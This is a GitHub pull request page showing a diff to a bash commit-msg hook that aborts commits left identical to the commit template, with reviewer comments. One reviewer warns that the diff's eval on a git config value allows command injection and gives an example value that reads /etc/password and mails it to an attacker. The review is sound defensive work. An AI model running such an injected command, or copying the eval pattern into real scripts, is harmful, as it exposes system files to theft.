Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update branch-name commit-msg hook, so when you use a commit template, and quit without changing it, the commit is aborted #6

Open
wants to merge 10 commits into
base: master
Choose a base branch
from
34 changes: 32 additions & 2 deletions templates/commit-msg.branch-name
Original file line number Diff line number Diff line change
Expand Up @@ -8,12 +8,42 @@ if [ -z "$BRANCHES_TO_SKIP" ]; then
BRANCHES_TO_SKIP=(master develop test main)
fi


BRANCH_NAME=$(git symbolic-ref --short HEAD)

BRANCH_EXCLUDED=$(printf "%s\n" "${BRANCHES_TO_SKIP[@]}" | grep -c "^$BRANCH_NAME$")
BRANCH_IN_COMMIT=$(grep -c "\[$BRANCH_NAME\]" $1)

if [ -n "$BRANCH_NAME" ] && ! [[ $BRANCH_EXCLUDED -eq 1 ]] && ! [[ $BRANCH_IN_COMMIT -ge 1 ]]; then
# Get the commit template path from git config
COMMIT_TEMPLATE_PATH=$(git config --get commit.template)

# Check if the commit template path is set
if [ -n "$COMMIT_TEMPLATE_PATH" ]; then
# Read the commit message file and filter out comment lines and empty lines
COMMIT_MSG=$(grep -v '^#' "$1" | sed '/^[[:space:]]*$/d')

# Expand the commit template path
COMMIT_TEMPLATE_PATH=$(eval echo "$COMMIT_TEMPLATE_PATH")
Comment on lines +25 to +26
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

eval always sets off alarm bells from a security perspective. Like what if COMMIT_TEMPLATE_PATH is something like "cat /etc/password | sendmail evil-actor"?

I think you don't need it. Just replace the below with:

COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" 2>/dev/null)
if [ -z "$COMMIT_TEMPLATE" ]; then
    echo "Commit template not founda at $COMMIT_TEMPLATE_PATH, or is empty"
    exit 1
fi


# Read the commit template file
if [ -f "$COMMIT_TEMPLATE_PATH" ]; then
COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH")
else
echo "Commit template file not found at $COMMIT_TEMPLATE_PATH"
exit 1
fi

# Filter out comment lines and empty lines from the commit template
COMMIT_TEMPLATE=$(echo "$COMMIT_TEMPLATE" | grep -v '^#' | sed '/^[[:space:]]*$/d')
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You can do this when reading; at line 30 do:

COMMIT_TEMPLATE=$(cat "$COMMIT_TEMPLATE_PATH" | grep -v '^#' | sed '/^[[:space:]]*$/d')

Dunno if you wanted to or not.


# Check if the commit message matches the commit template
if [ "$COMMIT_MSG" = "$COMMIT_TEMPLATE" ]; then
echo "Aborting commit due to default commit message."
exit 1
fi
fi
Comment on lines +39 to +44
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Another thing githook.py does, which I think is useful, is:

if [ -z "$COMMIT_MSG" ]; then
    echo "Aborting commit due to empty commit message."
    exit 1
fi

I do this sometimes when I'm creating a commit message and want to give up in the middle.


if [ -n "$BRANCH_NAME" ] && ! [[ $BRANCH_EXCLUDED -eq 1 ]] && ! [[ $BRANCH_IN_COMMIT -ge 1 ]]; then
BRANCH_NAME="${BRANCH_NAME//\//\\/}"
sed -i.bak -e "1s/^/[$BRANCH_NAME] /" $1
fi
fi